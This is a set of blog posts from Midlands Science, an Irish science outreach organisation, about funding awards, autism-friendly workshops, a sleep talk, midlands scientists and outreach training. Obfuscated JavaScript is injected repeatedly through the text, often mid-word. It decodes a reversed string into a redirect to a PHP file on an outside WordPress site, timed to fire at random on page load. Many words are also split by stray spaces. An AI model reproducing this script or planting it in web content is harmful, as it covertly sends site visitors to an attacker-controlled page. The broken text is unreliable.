Discover Award for Midlands Science

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Minister for Further and Higher Education, Research, Innovation and Science, Simon Harris, TD, this week announced a national investment of €5.2 million through the Science Foundation Ireland Discover Programme. The funding will support 49 public engagement and education initiatives that aim to improve public understanding of science, technology, engineering, and maths (STEM) and engage a wide audience of people with STEM topics.

Following a highly competitive process of international peer review, local development company, Midlands Science is delighted to announce that it is one of the recipients of a 2021 Discover Award, which will enable them to manage and deliver a new project called Science Communities. One of the primary objectives of this new project is to provide a collaborative forum for those who make decisions informed by science, to dialogue with the public in a more meaningful way.

CEO OF Midlands Science Jackie Gorman commented,

‘Our Science Communities project is an exciting new project to build dialogue, discussion and exchange of views between community groups in the midlands and those involved in science and public policy. We are all more than familiar due to the experience of the past year of how science and evidence -based decision-making impacts all of our lives, so it’s a good time to look at how evidence is generated and take part in meaningful discussions which can build understanding and more impactful communications. The recent Science in Ireland Barometer showed the Irish public has a high level of trust in science and we are keen to engage in discussions about how people can discuss science with those involved in science and research. We are keen to facilitate these discussions and to be as inclusive as possible. As  an additional support, all participants will be offered free training in LIFT facilitation skills. LIFT is a not for profit which aims to increase the level of positive leadership in Ireland.’

Over the past decade,  Midlands Science has a become valuable voice in the science education and promotion sec tor here in Ireland and a big part of its success has been placing great importance on broadening scientific engagement to a wide variety of audiences and seeing engagement with science as an act of engaged citizenship. Midlands Science already connects with a wide range of people; from science, engineering and maths workshops and festival activities, to secondary student career talks, public interest events and other special interest projects but this project will take that level of engagement a step further and will hopefully result in the public feeling that their views, needs and concerns are taken on board in a real way.

Dr. Craig Slattery, Chairman of Midlands Science said,

‘Science Communities is a citizen engagement process to bring together various stakeholders from healthcare, science, and the community to exchange views as to how and why some public health decisions are made informed by science. This dialogue will not change how decisions are made as decisions are based on evidence, but it may change how decisions are communicated to the public and therefore impact their effectiveness. We are very grateful for the support, collaborative spirit and commitment that Midlands Science has received from corporate sponsors and funders such as SFI and the confidence that this demonstrates in our work.’

Other SFI Discover Programme projects for this year cover topics including biodiversity, STEM sign language, climate action and sustainability, coding, epilepsy, understanding pandemics, digital wellbeing, and the link between music, maths, and physics.  The initiatives also target a wide range of ages including young children, teens, and adults as well as some initiatives designed for young people from disadvantaged backgrounds and attending DEIS schools.

Midlands Science offers a wide variety of free and engaging activities for a wide range of groups all year around and a range of online content. More details are available on www.midlandsscience.ie

 

Midlands Science Mark World Autism Awareness Week

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World Autism Awareness Week takes place from March 29th to April 4th 2021 all around the globe and the United Nations General Assembly has unanimously declared April 2nd  World Autism Awareness Day. The purpose of this day is to create awareness of autism and to create a more inclusive world for everyone. The Covid-19 pandemic has been extremely challenging for children who are on the ASD spectrum with many crucial education services and supports still closed. During this very important annual week, the international ASD community come together in recognition of people with autism and their families and communities. As part of the celebrations hundreds of landmarks, buildings, homes and communities around the world and the international goal is to shine a blue light on communities throughout the world to raise awareness and take action for autism.

Local development organisation, Midlands Science, has worked over the past year to provide various workshops with ASD appropriate science outreach in response to requests from the community and based on best practice research. Their project which is called Quiet Science is funded by Science Foundation Ireland’s Discover Awards programme and it began with two pilot schools in Co. Offaly. It is now being rolled out online across the Midlands through appropriate partnerships.

CEO of Midlands Science, Jackie Gorman commented,

‘Quiet Science, which focuses on science activities for children on the ASD spectrum is a project we embarked on last year. It allows pupils to participate in hands-on, engaging science lessons with resources and instruction provided. We are delighted that despite the current pandemic and school closures, we are still able to offer these activities online with our professional providers, ‘Anyone 4 Science’ and we have had an amazing response from parents and children alike.’

Before this programme was delivered, a suite of outreach activities was co-created with students and STEM providers in consultation with appropriate ASD education experts. The project will also produce a manual of best practice which will be circulated following evaluation of the project.

Jackie Gorman continued,

‘Lock $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downs are challenging for all of us, and we are glad we have been able to continue to provide outreach. The students particularly seem to like the fact that special kits are delivered to their homes in advance of the workshops. We also saw great engagement with our Facebook Live events, which were also provided by the team at Anyone 4 Science last summer and we were so proud of our Midlands pupils for continuing to celebrate science in these extraordinary times. Creating awareness of neurodiversity and seeing strength and opportunities in diversity is vital in life and science and we are pleased we are able to offer some services at the moment that people are finding to be really worthwhile and engaging.’

Midlands Science was delighted to receive some very encouraging feedback from parents whose children had participated in the Quiet Science events. One parent said, ‘After participating in the Quiet Science workshops my son feels like a real scientist. It might not be a big deal for others but for my child, it means the world. When he knew he was going to be taking the ‘Quiet Science’ workshop, he made sure to have his lab white coat and goggles ready, and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t forget his lab name tag… of course. It has made a huge difference and put that shiny sparkle in his eyes.’

#lightitupblue #believeinscience

Regular Sleep, Healthy Future!

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Today is World Sleep Day. The slogan for the 14th annual World Sleep Day is ‘Regular Sleep, Healthy Future.’  World Sleep Day reminds all sleep professionals to educate the world about the importance of regular sleep for achieving better quality of life and global health. World Sleep day has brought us right back to the time when we held live public events during our annual Midlands Science Festival and this time it was all around the Science of Sleep.

This was a highly informative evening with plenty of discussion and question time. Dr. Craig Slattery, a science communica tor and Specialist Lecturer at University College Dublin addressed the audience as well as Dr Silke Ryan, Consultant in Respira tory and Sleep Medicine at St. Vincent’s University Hospital and Research Fellow at UCD. Topics explored included, why $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do we sometimes experience sleep problems? What can we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to get better sleep? What is happening in your brain when you are sleeping? Why $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do babies sleep so much ? We also heard from Dr. Ann-Marie Creaven from the Department of Psychology at the University of Limerick. You might ask, why is a psychologist interested in sleep? We all know that negative feeling we can sometimes experience when we get up the day after a poor night’s sleep. Ann-Marie spoke on the night about just how related sleep is to our productivity, mood and mental health. We also learned that sleeping is actually a behaviour!

Hopefully we can look forward to lots more informative and entertaining public science events in the future!

#WorldSleepDay

Celebrate Science at Home this St. Patrick’s Day

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As we celebrate all things Irish for St Patrick’s Day, we thought it might be interesting to think about famous people from the midlands who are associated with Science, Technology, Engineering or Maths (STEM)

Did you know that the term “electron” was invented by Offaly man George Johns tone S toney? S toney made significant contributions to cosmic physics and to the theory of gases. S toney’s most important scientific work was the conception and calculation of the magnitude of the “a tom of electricity”. In 1891, he proposed the term “electron” to describe the fundamental unit of electrical charge, and his contributions to research in this area laid the foundations for the eventual discovery of the particle by JJ Thompson in 1897. Next time you look up, think of S toney as craters on the Moon and Mars are named in his honour. And keep looking up as you might see the Kuiper Belt which has a Westmeath connection!!

Kenneth Essex Edgeworth was an Irish army officer, engineer, economist and independent theoretical astronomer from Westmeath. Edgeworth is best known for proposing the existence of a disc of bodies beyond the orbit of Neptune in the 1930s. Observations later confirmed the existence of the Edgeworth Kuiper Belt in 1992. Those distant solar system bodies, including Plu to, Eris and Makemake are now grouped in to the Edgeworth-Kuiper Belt.

Longford inven tor Richard Lovell Edgeworth was a graduate of TCD and Corpus Christi, Oxford. He created a very useful machine to measure the size of a plot of land. He was also ahead of his time and anticipated the caterpillar track with an invention he tinkered with for about 40 years but never completed. He described it as a cart that carries its own road.
Speaking of transport, if you ever get the train to Laois, you might think of William Dargan. He was born near Killeshin, Co Laois, in 1799, was the engineer on Ireland’s first railway from Dublin to Kings town (Dún Laoghaire) in 1833. He was also the engineer for the old Harcourt Street line, which the Sandyford Luas follows for much of its journey, and he designed many of its station houses. In total he constructed over 1,300 km (800 miles) of railway to important urban centres of Ireland.

The Midlands has a strong scientific heritage on which to build on today. In 1845, Birr was the home to the world’s largest telescope, today it is the site of I Lofar, the Irish station in a European wide network of state of the art radio telescopes, used to observe the universe low frequencies. John Joly of Offaly in 1857 developed the first effective radiotherapy method for treating cancer. Today, his home town of Tullamore is home to leading life sciences company Integra Lifesciences, which makes an ultransonic aspira tor, a surgical device for the precise destruction of tissue that is used for tumour removal procedures and many other complex surgical operations.

The past allows us to learn from and to build for the future. This is the nature of science; we learn from each other and it’s a process of learning from mistakes and experimenting with new ideas. As we celebrate all things Irish, let’s celebrate all things Midlands including the amazing scientists from our region who looked to the stars, built bridges, explored cancer treatments and much more !!

Midlands Science is delighted to be featuring our Science at Home series with Dr. Dan Nickström during the St Patrick’s Festival 2021 and this will be showcased through St. Patrick’s Festival TV – SPF TV – a dedicated TV channel at www.stpatricksfestival.ie. Dr. Dan Nickström is a lecturer in the Experimental Physics Department at Maynooth University and a keen physics communica tor. He will explain the physics behind some of the everyday objects we find at home, as well as looking at the natural world such as how bees and pollina tors contribute to our ecosystem.

#SPFTV #stpatricksfestival

Connecting Communities Through Science

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Midlands Science is pleased to announce Science Communities, an exciting new project which is funded by Science Foundation Ireland through the Discover Award programme and is designed to build impactful dialogue and discussion between community groups in the Midlands and those involved in science and public policy. The experience of the Covid-19 pandemic has shown us how science and science-based decision making has a powerful effect on our future economic and social wellbeing. It has also taught us about the importance of trusting science, fostering connection and having high-quality dialogue and shared learning. 

CEO of Midlands Science, Jackie Gorman commented,  

 ‘In order to have an engaged public, it is important to recognise that science is not limited to formal education and is not just a collection of facts. It should also allow people to challenge what they read and hear about. Through community forums, we want to create a realistic and open conversation about the science behind decisions, how scientific evidence informs public health advice and how this information is communicated to the general public. We want to explore where there could be misinformation and resistance among the general public and use this as an opportunity for people to become more informed. We will be encouraging open debate and effective conversation between members of the public, experts from the fields of science and health care and the policy makers in our society. We are keen to be as inclusive as possible and we will therefore be aiming to have a broad range of people from across the Midlands taking part in these forums which will explore a range of issues from food and alcohol to diseases and positive psychology and much more.’ 

 These forums, which will feature leading Professor of Biochemistry and Immunology, Luke O’ Neill will explore the following topics: 

Show me the Evidence – Exploring Science & Scientific Evidence 

 Sugar, Spice & everything Science – The Science of Food & Alcohol  

 Viruses, Vaccines and Immunity – The Science of Diseases 

 Medicine and Health – Who and how we can trust? 

 As an additional support, all ‘Science Communities’ participants will be offered free training in LIFT facilitation skills. LIFT is a not for profit organisation which aims to increase the level of positive leadership in Ireland.  This project is a collaborative opportunity for people to enhance their skills and enable themselves  to become leaders of science engagement in their communities. It will consist of four public engagement forums and one LIFT training day. Given the current restrictions that are still in place nationwide, these public engagement forums and training days will take place online. The project will run during the months of August, September, Oc tober and November.  

 Dr Ruth Freeman, Direc tor of Science for Society, Science Foundation Ireland said: 

“Science Foundation Ireland is delighted to support this Science Communities initiative, facilitating open dialogue at a time when understanding how scientific evidence informs public health advice is so important. This inclusive approach to science outreach will hopefully help members of the public feel more informed and more connected to the science behind public health policy, while allowing policy makers to build confidence and trust, by listening to and engaging with the public.” 

Jackie Gorman continued,  

“We are now seeking people from the Midlands  to engage with this project. If you are interested in facilitating discussions and taking in part in open dialogue with others around the topics of health, pandemics, science-based decision making, communication and misinformation, we would like to hear from you. We will be asking a small number of participants to take part in interviews at different stages and this will be crucial to reviewing the overall success of the project but it is not necessary to have any prior knowledge of science in order to partake. We are looking for a broad range of people from the midlands to participate and we are particularly interested in engaging people who would not usually interact with science or STEM in their everyday lives.” 

If you are interested in taking part in this project please email outreach@midlandsscience.ie 

 

 

 

 

 

 

  

 

Midlands Science Deliver Training for Best Practice in Science Outreach

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Local development company Midlands Science has been continuing to provide science education outreach work over the past year in spite of the very challenging situation the world now finds itself in. In addition to virtually delivering plenty of science workshops and interactive events since March 2020, Midlands Science has also recently commenced a new project online around building Science Capital in the Midlands with participation from twelve organisations, providing vital capacity building in best practice in science outreach. This initiative is funded by Science Foundation Ireland through the Discover Award programme and training for the participants is currently underway with University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and the Science Museum Academy.

Dr Ruth Freeman, Direc tor of Science for Society, Science Foundation Ireland said:

“Science Foundation Ireland is pleased to support this Science Capital project, which will contribute towards the development of our nation’s scientific curiosity and literacy. By offering tools and training to understand what influences our engagement with science, we can facilitate more inclusive and diverse conversations, provide equal access to careers in science and encourage people of all ages and backgrounds to find personal meaning and connection with STEM.”

CEO of Midlands Science Jackie Gorman commented,

‘Science capital can help us to understand why people from all backgrounds participate in and engage with science and how their engagement can vary through a range of science-related experiences. It also sheds light on why particular social groups remain underrepresented and why many young people $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not see science careers as being suitable for them.  We have a diverse group of people on board for this training from fields of local development, youth work and heritage, all of whom interact with a wide range of people in their work. Each participant was were selected in 2020 to take part in this Science Capital training through Midlands Science with University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and the Science Museum Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don as part of a Science Foundation Discover Award received by Midlands Science.’

The aim is that this Science Capital training will provide research not only around participation in science but will also focus on the many other important fac tors that come in to play, including gender, teaching, education and culture. This training will be a valuable addition to Midlands Science’ own resources and will hopefully help us to continue to encourage more future generations to choose science, technology, engineering and mathematics (STEM) careers.

Miriam Harte from Camara who is participating in the training commented,

‘My experience of the Science Capital Training Programme has been incredibly positive. I’ve learned a huge amount of new information about communicating science, especially with harder- to-reach audiences. The standard of speakers and facilita tors has been excellent, each sharing a unique and interesting way of approaching new science capital concepts. This training has definitely changed the way I look at my work and how I communicate with my target audience. I’m really looking forward  to finding more ways to integrate my learnings within my own work and to sharing this with my colleagues. I very much felt that, during a time of great adjustment and stress in 2020, it has been reassuring to have this consistent group of peers to brains torm the educational challenges which we’ve faced and the ways in which we can overcome these challenges with a bit of self-reflection and creativity.’

Jackie Gorman continued,

‘As Covid19 hit a number of our annual programmes, it also impacted the execution of this training. We had to pivot delivery online and as part of additional supports, we then provided science communications training with Dr Niamh Shaw and online engagement best practice with Maebh Coleman of Technological University Dublin. The group also commenced training online with University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and the Science Museum Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and this will run in to 2021. A number of participants will also undertake additional portfolio work which will allow them to become science capital trainers and spread their learning further in their networks and communities. The provision of this training is a vital part of Midlands Science work to develop capacity with partners and to provide access to international best practice in science outreach.’

 

 

 

 

Electricity Fun for STEPS Engineer’s Week

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Science at Home is back! And just in time for STEPS Engineers Week! Watch Dr. Dan unleash his inner engineer and turn his bike in to an electricity genera tor that can light a room..there is also a bit of tasty, refreshing smoothie making..What flavours $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you love? How fast can Dan go? We hope you are as impressed as we were!

Don’t forget you can look back through all our episodes of Science at Home, including this week’s episode, on our YouTube channel!

#STEPSENGINEERSWEEK #STEM #believeinscience